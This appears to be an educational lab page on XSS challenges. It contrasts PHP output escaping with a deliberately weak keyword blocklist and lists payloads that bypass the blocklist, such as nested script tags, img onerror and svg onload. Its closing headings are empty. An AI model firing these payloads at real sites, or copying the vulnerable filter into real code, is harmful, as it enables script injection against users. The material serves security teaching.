Multiple XSS Challenges with Different Filtering Methods
This interface contains two different XSS challenges with different filtering approaches:
htmlspecialchars() for both first name and last name parameters.
str_replace(array('script','sCript',...,'body'), '', $_GET['p'])
Objective: Test different XSS payloads against both filtering methods to understand their effectiveness.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["p"])){
$arr = array('script','sCript','scRipt','scrIpt','scriPt','scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','svg','audio','video','body');
$re = str_replace($arr, '', $_GET['p']);
echo $re;
}
ScRiPt or other mixed case variations not in the filter<scr<script>ipt> to bypass simple filters<object>, <embed>, <iframe> instead of script tags<img src=x onerror=alert(1)> or other event-based XSS<a href="javascript:alert(1)">click</a><svg onload=alert(1)> if svg is not filtered<scr"+"ipt>Comparing the two filtering approaches:
For production-grade XSS prevention: